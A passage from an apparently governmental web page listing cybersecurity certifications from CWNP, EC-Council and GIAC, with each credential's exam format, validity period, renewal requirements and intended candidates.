candidates are required to find known vulnerabilities across common network, application and database technologies; includes a multiple-choice section</li> <li>Pre-requisite is the CPSA certification</li> <li>Valid for 3 years</li> <li>To recertify, candidates must re-write the exam</li> </ul><h5>Intended candidates</h5> <ul><li>System Administrators</li> <li>Penetration Testers</li> <li>Information Security Managers</li> <li>Incident Handlers</li> </ul></details><details class="grouped" id="wb-auto-8"><summary><h3 id="tab5">4.5 Certified Wireless Network Professions (CWNP)</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Wireless Network Expert (CWNE)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Less than 200 CWNE certificate holders in the world</li> <li>Validates that a candidate has mastered all the relevant to administer, install, configure, troubleshoot and design wireless networks, and has a deep understanding of protocol analysis, intrusion detection and prevention.</li> <li>Candidates are required to have 3-years of experience related to Wi-Fi networks</li> <li>Application requirements include endorsement from 3 people and written submissions (essays and publications)</li> <li>Candidates must pass 4 exams and complete commercial WLAN deployments</li> <li>Valid for 3 years</li> <li>Renewal requires paying a renewal fee and obtaining 60 continuing education credits over a 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals in senior WLAN positions</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Wireless Security Professional (CWSP)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s ability to assess the vulnerabilities of a network, help prevent attacks before they happen, perform WLAN security audits, and implement compliance monitoring solutions.</li> <li>Candidate must have already obtained Certified Wireless Network Administrator (CWNA) certification</li> <li>Exam consists of 60 multiple choice questions</li> <li>Valid for 3 years</li> <li>Recertification requires having valid CWNA certification and passing the current version of the exam or pass the CWNE exam.</li> </ul><h5>Intended candidates</h5> <ul><li>IT Networking Professionals</li> </ul></details><details class="grouped" id="wb-auto-9"><summary><h3 id="tab6">4.6 EC Council</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Application Security Engineer (CASE)</h4> </div> <h5>Certification overview</h5> <ul><li>Two streams: JAVA and .NET</li> <li>Validates that a candidate has the critical security skills and knowledge required throughout a typical software development life cycle (SDLC), focusing on the importance of the implementation of secure methodologies and practices in today’s insecure operating environment</li> <li>Candidates seeking certification without official training are required to have 2 years of work experience in information security and must apply for exam eligibility</li> <li>Valid for 3 years</li> <li>Exams consist of 50 multiple choice questions</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals responsible for developing, testing, managing, or protecting wide area of applications</li> <li>Developers who want to become Application Security Engineers, Analysts or Testers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Chief Information Security Officer (CCISO)</h4> </div> <h5>Certification overview</h5> <ul><li>Program recognizes the real-world experience necessary to succeed at the highest executive levels of Information Security</li> <li>CCISO program is aimed at producing top-level information security executives</li> <li>Candidates seeking certification without official training are required to have at least 5 years of work experience in each of the 5 CCISO domains and must apply for exam eligibility</li> <li>Candidates attending official training require 5 years of work experience in at least 3 of the CCISO domains</li> <li>Exam consists of 150 multiple choice questions</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>Chief Information Security Officers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Cloud Security Engineer (CCSE)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s ability to create and implement security policies to safeguard cloud infrastructure and applications</li> <li>Program provides both vendor-neutral and vendor-specific cloud security concepts</li> <li>Candidates seeking certification without official training are required to have at least 2 years of work experience information security and must apply for exam eligibility</li> <li>Exam consists of 125 multiple choice questions</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>Cloud Analysts</li> <li>Cyber Security Analysts</li> <li>Network Security Administrators</li> <li>Cloud Administrators and Engineers</li> <li>Network and Cloud Management Operations Professionals</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Cybersecurity Technician (CCT)</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level cyber security credential for individuals starting a career in cyber security or IT</li> <li>Validates a candidate’s hands-on technical skills</li> <li>No prerequisites</li> <li>Exam consists of 60 multiple choice questions and 10 practical scenarios</li> <li>Valid for 3 years</li> <li>CCT is not part of the EC-Council Continuing Education (ECE) scheme. To recertify, a candidate must take the exam again</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals seeking entry-level cyber security or information security roles</li> <li>Cyber Security technicians</li> <li>Network Engineers and Administrators</li> <li>IT Support Specialists and Managers</li> <li>Network Technicians and Coordinators</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Ethical Hacker (CEH) – ANSI</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level credential</li> <li>Validates that a candidate knows how to look for weaknesses and vulnerabilities in target systems and use the same knowledge and tools as a malicious hacker, but in a lawful and legitimate manner to assess the security posture of a target system</li> <li>Candidates seeking certification without official training are required to have 2 years of work experience in information security and must apply for exam eligibility</li> <li>This credential certifies individuals in the specific network security discipline of ethical hacking from a vendor-neutral perspective</li> <li>Exam consists of 125 questions</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>Information Security Officers</li> <li>Information Assurance Security Officers, Managers, Engineers, or Specialists</li> <li>Site Administrators</li> <li>Information Security Auditors</li> <li>Risk/Threat/Vulnerability Analysts</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Ethical Hacker (CEH) – Master</h4> </div> <h5>Certification overview</h5> <ul><li>Candidate holds both the ANSI and Practical CEH certifications</li> <li>Meets GCHQ Certified Training standard</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>Security Officers</li> <li>IT Auditors</li> <li>Site Administrators</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Ethical Hacker (CEH) – Practical</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge of ethical hacking techniques such as threat vector identification, network scanning, operating system (OS) detection, vulnerability analysis, system hacking, web application hacking, etc.</li> <li>No perquisites, but this certification is usually the next step after obtaining the CEH ANSI</li> <li>6-hour exam features 20 case studies</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>Information Security Analysts or Administrators</li> <li>Information Assurance Security Officers, Managers, Engineers, or Specialists</li> <li>Risk/Threat/Vulnerability Analysts</li> <li>System Administrators</li> <li>Network Administrators or Engineers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Network Defender (CND) – ANSI</h4> </div> <h5>Certification overview</h5> <ul><li>Demonstrates that a candidate has the required expertise to protect, detect, and respond to threats on the network</li> <li>Candidates seeking certification without official training are required to have 2 years of work experience in IT security and must apply for exam eligibility</li> <li>Exam consists of 100 multiple choice questions</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>Network and IT Administrators</li> <li>Data Security Analysts</li> <li>Security Operators</li> <li>Network Engineers and Technicians</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Penetration Testing Professional (CPENT)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s ability to perform an effective penetration testing in an enterprise network environment that must be attacked, exploited, evaded, and defended</li> <li>No prerequisites</li> <li>24-hour exam consists of a 100% practical assessment within the cyber range and the submission of a Penetration Testing report</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>Penetration Testers</li> <li>Ethical Hackers</li> <li>Network Server and Firewall Administrators</li> <li>Risk Assessment Professionals</li> <li>Security Engineers and Analysts</li> <li>Information Security Consultants</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Secure Computer User (CSCU)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates that a candidate can identify information security threats and mitigate them effectively</li> <li>No prerequisites</li> <li>Exam consists of 50 multiple choice questions</li> <li>Valid for 3 years</li> <li>CSCU is not part of the EC-Council Continuing Education (ECE) scheme. To recertify, a candidate must take the exam again</li> </ul><h5>Intended candidates</h5> <ul><li>Anyone 13 and over who uses a computer for work, study, or play</li> <li>End-users</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified SOC Analyst (CSA)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s comprehensive understanding of the tasks required as a SOC Analyst</li> <li>Program focuses on creating new career opportunities for candidates by providing them with in-demand technical skills, knowledge, and enhanced-level capabilities to dynamically contribute to a SOC team</li> <li>Candidates seeking certification without official training are required to have 1 year of work experience in information security and must apply for exam eligibility</li> <li>Exam consists of 100 multiple choice questions</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>Tier I and Tier II Security Operations Centre Analysts</li> <li>Cyber Security Analysts</li> <li>Network and Security Administrators</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Threat Intelligence Analyst (CTIA)</h4> </div> <h5>Certification overview</h5> <ul><li>Demonstrates that a candidate has the skills to identify and mitigate business risks by converting unknown internal and external threats into quantifiable threat entities and stop them in their tracks</li> <li>Candidates seeking certification without official training are required to have 2 years of work experience in information security and must apply for exam eligibility</li> <li>Exam consists of 50 multiple choice questions</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>Ethical Hackers</li> <li>Digital Forensic and Malware Analysts</li> <li>Threat Intelligent Analysts</li> <li>Incident Response Team Members</li> <li>SOC Professionals</li> <li>Security Practitioners, Engineers, Analysts, Architects, and Managers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Computer Hacking Forensics Investigator (CHFI) – ANSI</h4> </div> <h5>Certification overview</h5> <ul><li>Validates that a candidate has the necessary skills to proactively investigate complex security threats, allowing them to investigate, record, and report cybercrimes to prevent future attacks</li> <li>Lab-focused, vendor-neutral program</li> <li>Candidates seeking certification without official training must have 2 years of work experience in information security and must apply for exam eligibility</li> <li>Exam consists of 150 multiple choice questions</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>IT Managers</li> <li>Digital Forensic Service Providers</li> <li>Law enforcement personnel</li> <li>Defence and Security personnel</li> <li>Government Agencies</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Digital Forensics Essentials (DFE)</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level credential helps candidates increase their competency and expertise in digital forensics and information security skills, thereby adding value to their workplace and employer</li> <li>No prerequisites</li> <li>Exam consists of 75 multiple choice questions</li> <li>Valid for 3 years</li> <li>DFE is not part of the EC-Council Continuing Education (ECE) scheme. To recertify, a candidate must take the exam again</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals seeking entry-level cyber security or information security roles</li> <li>Help Desk Technicians</li> <li>Network Administrators</li> <li>Network Technicians</li> <li>Computer Support Specialists</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">EC Council Disaster Recovery Professional (EDRP)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s ability to plan, strategize, implement, and maintain a business continuity and disaster recovery plan</li> <li>Candidates seeking certification without official training must have at least 2 years of work experience in information security and must apply for exam eligibility</li> <li>Exam consists of 150 multiple choice questions</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>IT Directors and CISOs</li> <li>IT Risk Managers and Consultants</li> <li>Business Continuity and Disaster Recovery Consultants</li> <li>IT Professionals in Disaster Recovery, Business Continuity, and System Administration domains</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">EC-Council Certified Encryption Specialist (ECES)</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level certification that introduces professionals and students to the field of cryptography by learning the foundations of modern symmetric and key cryptography</li> <li>Candidates seeking certification without official training must have at least 1 year of related work experience in information security and must apply for exam eligibility</li> <li>Exam consists of 50 multiple choice questions</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>Cryptanalysts</li> <li>Cryptographers</li> <li>Ethical Hackers</li> <li>Penetration Testers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">EC-Council Certified Incident Handler (ECIH) – ANSI</h4> </div> <h5>Certification overview</h5> <ul><li>Validates that a candidate has the knowledge and skills to effectively handle post breach consequences by reducing impact of the incident from both a financial and reputational perspective</li> <li>Specialist-level program</li> <li>Candidates seeking certification without official training must have at least 1 year of work experience in information security and must apply for exam eligibility</li> <li>Exam consists of 100 multiple choice questions</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>Risk Assessment Handlers</li> <li>System Administrators and Engineers</li> <li>Network and IT Managers</li> <li>Application Security Engineers</li> <li>Cyber Forensic Investigators and Analysts</li> <li>SOC Analysts</li> <li>Penetration Testers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Ethical Hacking Essentials (EHE)</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level credential covers ethical hacking and penetration testing fundamentals and prepares learners for a career in cyber security</li> <li>No prerequisites</li> <li>Exam consists of 75 multiple choice questions</li> <li>Valid for 3 years</li> <li>ECE is not part of the EC-Council Continuing Education (ECE) scheme. To recertify, a candidate must take the exam again</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals seeking entry-level cyber security or information security roles</li> <li>Help Desk Technicians</li> <li>Network Administrators</li> <li>Network Technicians</li> <li>Computer Support Specialists</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Industrial Control Systems and Supervisory Control and Data Acquisitions (ICS/SCADA) Cybersecurity</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge of the foundations of security and ability to defend network architectures from attacks</li> <li>Candidates seeking certification without official training are required to have 1 year of work experience in information security and must apply for exam eligibility</li> <li>Exam consists of 75 multiple choice questions</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>System Administrators and Engineers</li> <li>SCADA Systems personnel</li> <li>Business System Analysts who support SCADA interfaces</li> <li>Security Consultants who perform security assessments of SCADA and/or ICS</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Industrial Control Systems and Supervisory Control and Data Acquisitions (ICS/SCADA) Cybersecurity</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge of the foundations of security and ability to defend network architectures from attacks</li> <li>Candidates seeking certification without official training are required to have 1 year of work experience in information security and must apply for exam eligibility</li> <li>Exam consists of 75 multiple choice questions</li> <li>Valid for 3 years</li> <li>To recertify, you must earn 120 continuing education credits during the 3-year period and pay annual fees</li> </ul><h5>Intended candidates</h5> <ul><li>System Administrators and Engineers</li> <li>SCADA Systems personnel</li> <li>Business System Analysts who support SCADA interfaces</li> <li>Security Consultants who perform security assessments of SCADA and/or ICS</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Network Defense Essentials (NDE)</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level credential covers the fundamental concepts of information security and network defense, and is ideal for learners aspiring to pursue a career in cyber security</li> <li>No prerequisites</li> <li>Exam consists of 75 multiple choice questions</li> <li>Valid for 3 years</li> <li>NDE is not part of the EC-Council Continuing Education (ECE) scheme. To recertify, a candidate must take the exam again</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals seeking entry-level cyber security or information security roles</li> <li>Help Desk Technicians</li> <li>Network Administrators</li> <li>Network Technicians</li> <li>Computer Support Specialists</li> </ul></details><details class="grouped" id="wb-auto-10"><summary><h3 id="tab7">4.7 Global Information Assurance Certification (GIAC)</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Advanced Smartphone Forensics (GASF)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate is qualified to perform forensic examinations on devices such as mobile phones and tablets; and has an understanding of the fundamentals of mobile forensics, device file system analysis, mobile application behaviour, event artifact analysis and the identification and analysis of mobile device malware</li> <li>Valid for 4 years</li> <li>Exam consists of 75 questions</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Digital Forensic and Malware Analyst</li> <li>Cyber Defense Forensic Analysts and Investigators</li> <li>Penetration Testers</li> <li>Exploit Developers</li> <li>Threat Hunters</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Assessing and Auditing Wireless Networks (GAWN)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Demonstrates knowledge of the different security mechanisms for wireless networks, the tools and techniques used to evaluate and exploit weaknesses, and techniques used to analyze wireless networks.</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Auditors</li> <li>Ethical Hackers</li> <li>Penetration Testers</li> <li>Network Security Professionals</li> <li>Wireless System Engineers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Certified Detection Analyst (GCDA)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate’s ability to collect, analyze, and tactically use modern network and endpoint data sources to detect malicious or unauthorized activity</li> <li>GCDA certificate holders are qualified for hands-on leadership positions that deal with Security Information and Event Management (SIEM)</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Security Analysts</li> <li>Security Architects</li> <li>Senior Security Engineers</li> <li>Security Operations Centre Engineers and Analysts</li> <li>Cyber Threat Investigators</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Certified Enterprise Defender (GCED)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate’s knowledges and abilities in the areas of defensive network infrastructure, packet analysis, penetration testing, incident handling, and malware remove</li> <li>Exam consists of 115 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Incident Responders</li> <li>Penetration Testers</li> <li>Security Operations Centre Engineers and Analysts</li> <li>Network Security Professionals</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Certified Forensic Analyst (GCFA)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates that a candidate has the knowledge, skills, and ability to conduct formal incident investigations and handle advanced incident handling scenarios, such as internal and external data breach intrusions or advanced persistent threats.</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Incident Response Team Members</li> <li>Security Operations Centre Analysts</li> <li>Federal Agents and Law Enforcement Professionals</li> <li>Digital Forensics Analysts</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Certified Forensic Examiner (GCFE)</h4> </div> <h5>Certification overview</h5> <ul><li>Intermediate-level certification</li> <li>Validates a candidate’s knowledge of computer forensics analysis, including core skills needed to collect and analyze data from Windows systems</li> <li>Exam consists of 115 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Information Security professionals</li> <li>Law enforcement members</li> <li>Digital Forensics and Malware Analysts</li> <li>Cyber Defense Forensic Analysts and Investigators</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Certified Incident Handler (GCIH)</h4> </div> <h5>Certification overview</h5> <ul><li>Intermediate-level certification</li> <li>Demonstrates one’s ability to detect, respond, and resolve computer security incidents using a wide range of essential security skills</li> <li>Exam consists of 100-150 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Incident Response Team Members</li> <li>Cyber Defence Incident Responder</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Certified Intrusion Analyst (GCIA)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate’s knowledge of network and host monitoring traffic analysis, and intrusion detection</li> <li>Certificate holders are qualified to configure and monitor intrusion detection systems, and to analyze network traffic</li> <li>Exam consists of 100-150 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals who are responsible for network and host monitoring, traffic analysis, or intrusion detection</li> <li>Threat Hunters</li> <li>Security Operations Centre Analysts</li> <li>Incident Response team members</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Certified Web Application Defender (GWEB)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Demonstrates that a candidate has mastered the security knowledge and skills needed to deal with common web application errors that lead to most security problems.</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Application Developers</li> <li>Application Security Analysts</li> <li>Application Architects</li> <li>Penetration Testers</li> <li>Individuals in roles requiring PCI compliance</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Certified Windows Security Administrator (GCWN)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate’s ability to secure Windows clients and servers, and knowledge of configuring and managing the security of Microsoft operating systems and applications</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals responsible for installing, configuring, and securing Microsoft Windows clients and servers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Continuous Monitoring Certification (GMON)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate’s ability to deter intrusions and quickly detect anomalous activity</li> <li>Exam consists of 115 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Security Architects</li> <li>Security Operations Centre Analysts and Managers</li> <li>Technical Security manager</li> <li>Security Engineers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Critical Controls Certification (GCCC)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>The only certification that is based on the Critical Security Controls, a prioritized, risk-based approach to security.</li> <li>Validates a candidate’s knowledge and skills to implement and execute the Critical Security Controls recommended by the Council on Cybersecurity and perform audits based on the standard.</li> <li>No prerequisites</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>IT Administrators</li> <li>DoD personnel</li> <li>Network Security Engineers</li> <li>Security Vendors</li> <li>Security Auditors, CIOs, and Risk Officers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Critical Infrastructure Protection (GCIP)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate has the knowledge and skills needed to understand the North American Electric Reliability Corporation Critical Infrastructure Protection (NERC CIP) regulations and plan practical implementation strategies to achieve regulatory compliance.</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Security Operations Analysts</li> <li>Team Leaders and Managers</li> <li>Incident Response Analysts</li> <li>ICS Cyber Security Practitioners</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Cyber Threat Intelligence (GCTI)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate’s ability to understand and analyze complex threat analysis scenarios; identify, create, and validate intelligence requirements through threat modelling.</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Incident Response Team members</li> <li>Threat Hunters</li> <li>Intelligence Analysts</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Defending Advanced Threats (GDAT)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates that a candidate has advanced knowledge of how adversaries penetrate networks and what security controls are effective to stop them.</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Security Architects</li> <li>Security Engineers</li> <li>Technical Security Managers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Defensible Security Architecture (GDSA)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates that a candidate’s real-world, hands-on skills dealing with network-centric and data-centric approaches to defensible security architecture, hardening applications across the Transmission Control Protocol/Internet Protocol (TSP/IP) stack, and secure environment creation with private, hybrid, or public clouds</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Security Architects</li> <li>Network Engineers</li> <li>Security Analysts</li> <li>Cyber Threat Investigators</li> <li>Senior Security Engineers</li> <li>Security Analysts</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Exploit Researcher and Advanced Penetration Tester (GXPN)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate’s ability to find and mitigate significant security flaws in systems and networks</li> <li>Exam consists of 55-75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Vulnerability Testers</li> <li>Security Analysts</li> <li>Vulnerability Assessment Analysts</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Information Security Fundamentals (GISF)</h4> </div> <h5>Certification overview</h5> <ul><li>Introductory-level certification</li> <li>Validates a candidate’s knowledge of security’s foundation, computer functions and networking, introductory level cryptography, and cyber security technologies</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Management</li> <li>Information Security Officers</li> <li>System Administrators</li> <li>Professionals who need an introduction to cyber security fundamentals</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Information Security Professional (GISP)</h4> </div> <h5>Certification overview</h5> <ul><li>Intermediate-level certification for Managers and Leaders</li> <li>Validates a candidate’s knowledge of the 8 domains of cybersecurity knowledge, asset security, communications and network security, identity and access management, security and risk management, security assessment and testing, security engineering, security operations, and software development security.</li> <li>Candidate should have some experience in information systems and networking</li> <li>Exam consists of 250 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>System 